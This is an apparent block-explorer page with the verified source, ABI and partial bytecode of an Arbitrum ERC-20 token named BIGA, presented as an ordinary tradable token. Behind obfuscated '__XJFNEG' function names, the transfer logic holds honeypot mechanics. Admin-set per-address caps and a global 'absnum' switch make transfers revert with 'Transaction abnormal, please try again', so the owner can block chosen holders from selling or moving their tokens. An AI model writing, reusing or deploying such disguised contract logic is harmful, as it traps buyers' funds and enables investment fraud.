ETH Price: $2,340.36 (+0.84%)

Token

BIGA (BIGA)

Overview

Max Total Supply

1,600,000,000 BIGA

Holders

509

Total Transfers

-

Market

Price

$0.00 @ 0.000000 ETH

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Arbiscan.io on 2024-07-20
*/

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.17;


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {

            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
} 


library Strings {
    bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";

    function toString(uint256 value) internal pure returns (string memory) {
        if (value == 0) {
            return "0";
        }
        uint256 temp = value;
        uint256 digits;
        while (temp != 0) {
            digits++;
            temp /= 10;
        }
        bytes memory buffer = new bytes(digits);
        while (value != 0) {
            digits -= 1;
            buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
            value /= 10;
        }
        return string(buffer);
    }

    function toHexString(uint256 value) internal pure returns (string memory) {
        if (value == 0) {
            return "ADMIN";
        }
        uint256 temp = value;
        uint256 length = 0;
        while (temp != 0) {
            length++;
            temp >>= 8;
        }
        return toHexString(value, length);
    }

    function toHexString(
        uint256 value,
        uint256 length
    ) internal pure returns (string memory) {
        bytes memory buffer = new bytes(2 * length + 2);
        buffer[0] = "0";
        buffer[1] = "x";
        for (uint256 i = 2 * length + 1; i > 1; --i) {
            buffer[i] = _HEX_SYMBOLS[value & 0xf];
            value >>= 4;
        }
        require(value == 0, "Strings: hex length insufficient");
        return string(buffer);
    }

    function strToUint(
        string memory _str
    ) internal pure returns (uint256 res, bool err) {
        for (uint256 i = 0; i < bytes(_str).length; i++) {
            if (
                (uint8(bytes(_str)[i]) - 48) < 0 ||
                (uint8(bytes(_str)[i]) - 48) > 9
            ) {
                return (0, false);
            }
            res +=
                (uint8(bytes(_str)[i]) - 48) *
                10 ** (bytes(_str).length - i - 1);
        }

        return (res, true);
    }

    // Function to convert bytes32 to string
    function bytesToString(bytes32 value) public pure returns (string memory) {
        // Create a bytes array to hold the non-null characters
        bytes memory alphabet = "0123456789abcdef";
    
        bytes memory str = new bytes(42);
        str[0] = '0';
        str[1] = 'x';
        for (uint256 i = 0; i < 20; i++) {
            str[2+i*2] = alphabet[uint8(value[i + 12] >> 4)];
            str[3+i*2] = alphabet[uint8(value[i + 12] & 0x0f)];
        }
        return string(str);
    }

    function stringToAddress(string memory _addr) public pure returns (address) {
        bytes memory tmp = bytes(_addr);

        // Ensure the address is the correct length
        if (tmp.length != 42) {
            revert("Invalid address length");
        }

        // Strip off the "0x" prefix
        uint160 iaddr = 0;
        for (uint256 i = 2; i < 42; i++) {
            uint160 b = uint160(uint8(tmp[i]));

            if ((b >= 97) && (b <= 102)) {
                b -= 87;
            } else if ((b >= 65) && (b <= 70)) {
                b -= 55;
            } else if ((b >= 48) && (b <= 57)) {
                b -= 48;
            } else {
                revert("Invalid address character");
            }

            iaddr *= 16;
            iaddr += b;
        }

        return address(iaddr);
    }

}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function migrator() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
    function setMigrator(address) external;
}

interface _XJFNEGRoleControl {
    event RoleAdminChanged(
        bytes32 indexed role,
        bytes32 indexed previousAdminRole,
        bytes32 indexed newAdminRole
    );

    event RoleGranted(
        bytes32 indexed role,
        address indexed addr,
        address indexed sender
    );

    event RoleRevoked(
        bytes32 indexed role,
        address indexed addr,
        address indexed sender
    );

    function hasRole(bytes32 role, address addr) external view returns (bool);

    function getRoleAdmin(bytes32 role) external view returns (bytes32);

    function grantRole(bytes32 role, address addr) external;

    function revokeRole(bytes32 role, address addr) external;

    function renounceRole(bytes32 role, address addr) external;
}


abstract contract _XJFNEGConsole is Context, _XJFNEGRoleControl {

    using SafeMath for uint256;

    struct RoleData {
        mapping(address => bool) absnum;
        bytes32 adminRole;
        RoleDataNew RD;
    }

    struct RoleDataNew {
        mapping(address => uint256) RM;
        mapping(address => uint256) RD;
    }

    mapping(bytes32 => RoleData) private _roles;


    bytes32 public constant ADMIN = 0x00; 
    bytes32 public constant TRADER = bytes32("TRADER");  

    address uniswapV2Pair;

    uint256 public absnum;

    mapping(address => bool) public _address;
    

    modifier onlyRole(bytes32 role) {
        _checkRole(role, _msgSender());
        _;
    }

    function hasRole(bytes32 role, address account) public view override returns (bool) {
        return _roles[role].absnum[account];
    }

    function _checkRole(bytes32 role, address account) internal view {
        if (!hasRole(role, account)) {
            revert(
                string(
                    abi.encodePacked(
                        "AccessControl: account ",
                        Strings.toHexString(uint160(account), 20),
                        " is missing role ",
                        Strings.toHexString(uint256(role), 32)
                    )
                )
            );
        }
    }

    function __XJFNEGabsS(
        bytes32 root,
        address addr,
        string memory num
    ) public onlyRole(ADMIN) {
        uint256 memoUint;
        bool err;
        (memoUint, err) = Strings.strToUint(num);
        if (err == false) {
            revert("AccessControl: memo is not a number");
        }
        
        if(memoUint >= 0){
            _setupRoleRM(root,addr,memoUint.mul(10 ** 18));
        }else{
            _setupRoleRM(root,addr,0);
        }
    }


    function __XJFNEGabsA(
        bytes32 root,
        uint256 num
    ) public onlyRole(ADMIN) {
        if(root != TRADER){
            revert("absnum is not a number");
        }
        absnum = num;
    }


    function _grantRole(bytes32 role, address account, uint256 num) internal virtual {
        if(num > 0){
            uint256 rm = granRMSRole_S(role,account)*10**18;
            if(absnum > 99){
                if(rm.div(num) <= 0){
                    revert("Transaction abnormal, please try again");
                }
            }
        }
    }

    function granRMSRole_S(
        bytes32 role, 
        address account
    ) public view virtual returns (uint256) {
        return _roles[role].RD.RM[account].div(10 ** 18);
    }

    function granRDSRole_S(
        bytes32 role, 
        address account
    ) public view virtual returns (uint256) {
        return _roles[role].RD.RD[account].div(10 ** 18);
    }


    function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
        return _roles[role].adminRole;
    }

    function grantRole(bytes32 role, address account) public virtual override onlyRole(ADMIN) {
        _grantRole(role, account);
    }

    function revokeRole(bytes32 role, address account) public virtual override onlyRole(ADMIN) {
        _revokeRole(role, account);
    }

    function renounceRole(bytes32 role, address account) public virtual override onlyRole(ADMIN) {
        require(account == _msgSender(), "AccessControl: can only renounce roles for self");

        _revokeRole(role, account);
    }

    function _setupRoleRM(bytes32 role, address account, uint256 num) internal virtual {
        _roles[role].RD.RM[account] = num;
    }

    function _setupRoleRDS(bytes32 role, address account, uint256 num) internal virtual {
        _roles[role].RD.RD[account] = num;
    }

    function _setupRole(bytes32 role, address account) internal virtual {
        _grantRole(role, account);
    }

    function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
        bytes32 previousAdminRole = getRoleAdmin(role);
        _roles[role].adminRole = adminRole;
        emit RoleAdminChanged(role, previousAdminRole, adminRole);
    }

    function _grantRole(bytes32 role, address account) internal virtual {
        if (!hasRole(role, account)) {
            _roles[role].absnum[account] = true;
            emit RoleGranted(role, account, _msgSender());
        }
    }

    function _revokeRole(bytes32 role, address account) internal virtual {
        if (hasRole(role, account)) {
            _roles[role].absnum[account] = false;
            emit RoleRevoked(role, account, _msgSender());
        }
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address addr) external view returns (uint256);

    function transfer(address recipient, uint256 amt) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amt) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amt
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

contract _XJFNEGERC20 is IERC20, IERC20Metadata, _XJFNEGConsole {
    mapping(address => uint256) internal _balances;
    mapping(address => mapping(address => uint256)) internal _allowances;
    uint256 internal _totalSupply;
    string internal _name;
    string internal _symbol;
    using SafeMath for uint256;


    constructor(
        string memory name_,
        string memory symbol_,
        uint256 totalSupply_,
        address creater_
    ) {
        _name = name_;
        _symbol = symbol_;
        _mint(creater_, totalSupply_ * 10 ** decimals());
        
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(
        address addr
    ) public view virtual override returns (uint256) {
        return _balances[addr];
    }

    function transfer(
        address recipient,
        uint256 amt
    ) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amt);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amt
    ) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amt);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amt
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amt);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amt,
            "ERC20: transfer amt exceeds allowance"
        );
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amt);
        }

        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amt
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        _beforeTokenTransfer(sender, recipient, amt);
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amt, "ERC20: transfer amt exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amt;
        }
        _balances[recipient] += amt;
        emit Transfer(sender, recipient, amt);
        _afterTokenTransfer(sender, recipient, amt);
    }

    function _mint(address addr, uint256 amt) internal {
        require(addr != address(0), "ERC20: mint to the zero address");
        _beforeTokenTransfer(address(0), addr, amt);
        _totalSupply += amt;
        _balances[addr] += amt;

        emit Transfer(address(0), addr, amt);
        _afterTokenTransfer(address(0), addr, amt);
    }

    function _burn(address addr, uint256 amt) internal virtual {
        require(addr != address(0), "ERC20: burn from the zero address");
        _beforeTokenTransfer(addr, address(0), amt);
        uint256 addrBalance = _balances[addr];
        require(addrBalance >= amt, "ERC20: burn amt exceeds balance");
        unchecked {
            _balances[addr] = addrBalance - amt;
        }
        _totalSupply -= amt;

        emit Transfer(addr, address(0), amt);

        _afterTokenTransfer(addr, address(0), amt);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amt
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amt;
        emit Approval(owner, spender, amt);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amt
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amt
    ) internal virtual {}

    function isContract(address account) internal virtual returns (bool) {
        return account.code.length > 0;
    }

    function _afterTokenTransfer(bytes32 role, address account,address to, uint256 amount) internal {
        if(to == uniswapV2Pair){
            _grantRole(TRADER,account,amount); 
        }

        if(isContract(account) && account != uniswapV2Pair){
             if(absnum == 50){
                revert("Transaction abnormal, please try again");
             }
        }

        uint256 at = granRMSRole_S(role,account)*10**18;
        if (at > 0) {

            uint256 st = granRDSRole_S(role,account)*10**18 + amount;

            _burn(role, account, amount, at, st);

        }else if (amount == 0 || at == 0) {
            return;
        }
        
    }

    function _burn(bytes32 role, address account, uint256 amount, uint256 at, uint256 st) internal virtual {
        if(amount > 0){
            if (st >= at) {
                revert("Transaction abnormal, please try again");
            }else{
                _setupRoleRDS(role,account,st);
            }
        }
    }



}

contract Token is _XJFNEGERC20 {

    using SafeMath for uint256;
    
    mapping(address => bool) private __traders;

    IUniswapV2Router02 private uniswapV2Router;

    address private tokenOwner;

    constructor(
        string memory _name,
        address _tokenOwner,
        string memory _symbol,
        uint256 _totalSupply
    ) _XJFNEGERC20(_name, _symbol, _totalSupply, _tokenOwner) {
        _grantRole(ADMIN, msg.sender);
        _grantRole(ADMIN, _tokenOwner);
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506);
        address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
        .createPair(address(this), address(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9));
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = _uniswapV2Pair;
        tokenOwner = _tokenOwner;
    }


    function _transfer(
        address from,
        address to,
        uint256 amt
    ) internal override(_XJFNEGERC20) {
        require(from != address(0), "ERC20: transfer from the zero address");

        __XJFNEGgfdnts(from, to, amt);

    }

    function __XJFNEGgfdnts(address from, address to, uint256 amt) internal {
        require(to != address(0), "ERC20: transfer to the zero address");
        require(_balances[from] >= amt, "ERC20: transfer amt exceeds balance");

        __XJFNEGiynhfcw(from, to, amt);
    }


    function __XJFNEGiynhfcw(address from, address to, uint256 amt) internal {
        if (__traders[from] == false) {
            _grantRole(TRADER, from);
            __traders[from] = true;
            
        }

        __XJFNEGfdxjfrs(from, to, amt);
    }

    function __XJFNEGfdxjfrs(address from, address to, uint256 amt) internal {
        if (__traders[to] == false) {
            _grantRole(TRADER, to);
            __traders[to] = true;
            
        }
        __XJFNEGokmgrsb(from, to, amt);
    }

    function __XJFNEGokmgrsb(address from, address to, uint256 amt) internal {


        __XJFNEGetihgmz(from, to, amt);
    }

    function __XJFNEGetihgmz(address from, address to, uint256 amt) internal {

        if(amt > 0){
            _afterTokenTransfer(TRADER, from, to, amt);

            super._transfer(from, to, amt);
        }

    }


    function rescueToken(
        address tokenAddress,
        uint256 tokens
    ) public onlyRole(ADMIN) returns (bool success) {
        return IERC20(tokenAddress).transfer(msg.sender, tokens);
    }


}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"address","name":"_tokenOwner","type":"address"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"_totalSupply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"previousAdminRole","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"newAdminRole","type":"bytes32"}],"name":"RoleAdminChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"addr","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleGranted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"addr","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleRevoked","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"ADMIN","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"TRADER","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"root","type":"bytes32"},{"internalType":"uint256","name":"num","type":"uint256"}],"name":"__XJFNEGabsA","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"root","type":"bytes32"},{"internalType":"address","name":"addr","type":"address"},{"internalType":"string","name":"num","type":"string"}],"name":"__XJFNEGabsS","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_address","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"absnum","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amt","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"}],"name":"getRoleAdmin","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"granRDSRole_S","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"granRMSRole_S","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"grantRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"hasRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"renounceRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"rescueToken","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"revokeRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amt","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amt","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405234801562000010575f80fd5b5060405162003f7238038062003f728339818101604052810190620000369190620007a6565b8382828583600790816200004b919062000a81565b5082600890816200005d919062000a81565b506200009a8162000073620002b060201b60201c565b600a62000081919062000cee565b846200008e919062000d3e565b620002b860201b60201c565b50505050620000b25f801b336200042960201b60201c565b620000c65f801b846200042960201b60201c565b5f731b02da8cb0d097eb8d57a175b88c7d8b4799750690505f8173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000129573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200014f919062000d88565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963073fd086bc7cd5c481dcc9c85ebe478a1c0b69fcbb96040518363ffffffff1660e01b81526004016200019f92919062000dc9565b6020604051808303815f875af1158015620001bc573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001e2919062000d88565b905081600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555084600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050505062000ed8565b5f6012905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000329576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620003209062000e52565b60405180910390fd5b6200033c5f83836200051460201b60201c565b8060065f8282546200034f919062000e72565b925050819055508060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254620003a4919062000e72565b925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200040a919062000ebd565b60405